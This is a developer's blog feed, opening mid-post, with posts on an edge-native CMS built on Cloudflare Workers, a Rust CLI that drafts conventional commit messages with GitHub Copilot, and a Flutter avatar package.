The assistant calls the server, processes the base64 or SVG output, and writes the file directly to your workspace. No context switching, no signups, and no paywalls.

If you want to test the raw JSON-RPC endpoint yourself or see the official registry, you can check out the Smithery page.

Give it a spin, and let me know if you run into any schema or connection issues!

Technical Architecture of EZ EDGE CMS

Evgenii Zinner — Tue, 17 Mar 2026 20:58:02 +0000

I developed EZ EDGE CMS with a specific goal: to create a content management system that runs entirely on Cloudflare Workers without the bloat of traditional frameworks. By moving styling, image processing, and SEO logic to the edge, I’ve eliminated the need for origin servers and complex build pipelines.

Here is the technical breakdown of the engine and the trade-offs I made to keep it fast.

1. Zero-CSS Middleware (with Theme Constraints)

EZ EDGE CMS has no static CSS files. I integrated a Just-In-Time (JIT) UnoCSS middleware that runs at the edge. When a request is made:

The middleware scans the HTML content.
It generates the minimal utility classes required for that specific page.
It injects the CSS directly into the . The Restriction: To maintain this performance, you cannot upload custom CSS files. You are limited to built-in themes where you can only customize colors and fonts. This ensures the JIT engine stays lightweight and prevents slowing down the edge isolate.

2. Edge-Native Image Processing

Instead of relying on external S3 buckets or heavy image transformation services, I handle assets directly within the Worker:

WebP Conversion & Resizing: When you upload an image, the CMS automatically resizes it and converts it to WebP format. This ensures maximum compression and faster loading times for end-users.
KV Binary Storage: Images are stored as Uint8Array binaries in Cloudflare KV. They are served from the same edge location as your content.
Garbage Collection: When you save a page, I've implemented logic that identifies "orphaned" images (assets no longer used in your content) and deletes them from KV to keep your storage costs at zero or near-zero.

3. Automated SEO & JSON-LD Graphs

I dont like to manually manage metadata, so I automated the SEO layer using Schema.org JSON-LD graphs.

Automated SEO Layer: Replaced manual metadata management with a dynamic system built on Schema.org JSON-LD graphs to provide search engines with a high-accuracy site map.
Persona Integration: Automatically injects identity data (Organization/Owner) directly into the page structure.
Dynamic Breadcrumbs: Generates a real-time BreadcrumbList hierarchy that maps the page’s exact position.
Automated Asset Delivery: Serves optimized Open Graph (OG) images and tailored meta tags without manual updates.
Structured Metadata: Pulls standard SEO values from the CMS editor.

4. Script Injection for Interactivity

Since the themes are constrained, I added the ability to inject Global and Page-Related Scripts.

Global Scripts: Useful for adding analytics (like Google Analytics or Plausible) or sitewide chat widgets.
Page Scripts: Allows you to add specific functionality to a single page without bloating the rest of the site.

5. Block-Based Editor

To ensure the edge engine receives clean, predictable data, I integrated Editor.js. Unlike traditional WYSIWYG editors we store and parse a clean JSON structure.

Structured Data: The CMS stores content as JSON blocks, which are then parsed at the edge into semantic HTML.
Clean Output: This ensures that the JIT CSS engine (mentioned below) only scans valid, structured content, reducing processing overhead.
Extensibility: I’ve plan to customize editor to handle specific blocks that sync perfectly with the edge-native theme.

6. Current Technical Restrictions

Being honest about the limitations is part of the "Edge-Native" philosophy. If you use EZ EDGE CMS, you need to be aware of these:

Design Limits: You cannot build a "from-scratch" custom layout. You must work within the parameters of my optimized built-in themes (Colors/Fonts only).
25MB Value Limit: Cloudflare KV has a hard limit of 25MB per entry. This applies to individual pages and images.
Propagation Delay: While the updateQueue prevents write errors, it can still take up to 60 seconds for a new post to appear in every single Cloudflare data center globally due to KV's native consistency model.
Limitation for distributed teams: Currently recommended for solo work; without Durable Objects for atomic locking, simultaneous editing by multiple users is not possible to avoid data loss due to "last write wins" conflicts.

It is in a POC stage now, I need some time to work with it to shape a finalized vision and fix bugs, but i welcome everyone who willing to try or contribute
See it in action: First website made on EZ EDGE CMS
Explore the Code: Source code
Try it yourself: Deploy to Cloudflare Workers

ez_commit: A Rust CLI for AI-Powered Conventional Commits

Evgenii Zinner — Thu, 05 Feb 2026 18:44:20 +0000

This is a submission for the GitHub Copilot CLI Challenge

What I Built

ez_commit is an interactive Rust-based CLI designed to take the friction out of writing Conventional Commits. It combines a compact Terminal User Interface (TUI) for selecting and staging files with an AI-assisted generation engine.

The tool enforces a human-in-the-loop model: Copilot suggests a commit draft based on your staged changes, and you review or edit it before it ever touches your git history.

Why I built this: Maintaining a clean, consistent commit history is vital for changelogs and team collaboration, but it’s often the first thing to slide when developers are in a rush. ez_commit makes doing the "right thing" the fastest path.

Demo

You can find the full source code and installation instructions here:

Evgenii-Zinner / ez_commit

CLI tool for fast commiting using GitHub copilot

ez_commit

Interactive CLI tool for generating conventional commit messages with AI assistance.

A simple, fast, and human-in-the-loop commit workflow. Select files, let AI analyze your changes, review the message, and commit—all from the terminal.

Features

✨ Interactive file selection - TUI-based multi-select of changed files
🤖 AI-powered messages - GitHub Copilot integration for smart commit messages
📝 Conventional Commits - Automatically formats to type(scope): description
✏️ Manual review - Edit the generated message before committing
⚡ Fallback analyzer - Works without Copilot with built-in smart analysis
🔍 Verbose mode - Debug details with -v flag

Quick Start

# Build
cargo build --release

# Run
./target/release/ez_commit

# With verbose output
./target/release/ez_commit -v

Usage

Select files - Arrow keys to navigate, Space to toggle, Enter to confirm
Review message - AI generates a commit message with summary + bullet points
Edit (optional) - Your editor opens for final tweaks
Commit - Changes…

View on GitHub

Screenshots

My Experience with GitHub Copilot CLI

I developed this project using an agentic loop, where GitHub Copilot CLI handled much of the heavy lifting. My workflow looked like this:

Initial Design: I started with a README.md acting as a design doc. I described the problem, the required features, and my choice of Rust.
The Agentic Cycle: I used Copilot CLI to generate boilerplate and logic from prompts. It was a cycle of: Generate → Build → Copilot read Errors → Fix.
Fast Prototyping: Copilot produced a working prototype remarkably fast. I spent roughly three hours total on this project—including thinking, waiting for builds, and reviewing results.
The "Premium" Wall: I wasn't read docs too thoroughly, so didn't notice that any usage of Copilot CLI count as premium calls, so i spent prompt budget really fast.
Granularity of Feedback: While Copilot is working on a file, it often reports the number of lines it is changing. However, it would be much more helpful to see the actual code diff directly in the dialogue rather than just numbers. Since it processes one file at a time, seeing the specific logic changes live would allow for much faster verification

Overall Impression: The speed of iteration is the killer feature here. Moving from a blank folder to a Rust CLI with TUI and AI integration in one afternoon felt like having a senior pair-programmer who never gets tired. And I used this tool after first iteration to create commit messages (so some errors are logged in history), it was fun experience.

How to Use

To get started with ez_commit locally:

# Build the project
cargo build --release

# Run the binary
.\target\release\ez_commit.exe

Key Features:

-v, --verbose: See exactly what's being sent to the AI.
-s, --skip-copilot: Use the local fallback analyzer if you're offline or out of credits.
-d, --diff-limit: Control how much code context is sent to the model.

I built an app and got tired of manual avatar struggles: Inconsistent colors for the same user. Two different users getting the same color. The fix? Use a hash of the name to generate a color. https://pub.dev/packages/ez_circle_avatar

Evgenii Zinner — Sat, 22 Nov 2025 02:31:52 +0000

ez_circle_avatar | Flutter package

A defensive, accessible, and customizable Flutter avatar widget with automatic initials, deterministic colors, status badges, and tap support.

pub.dev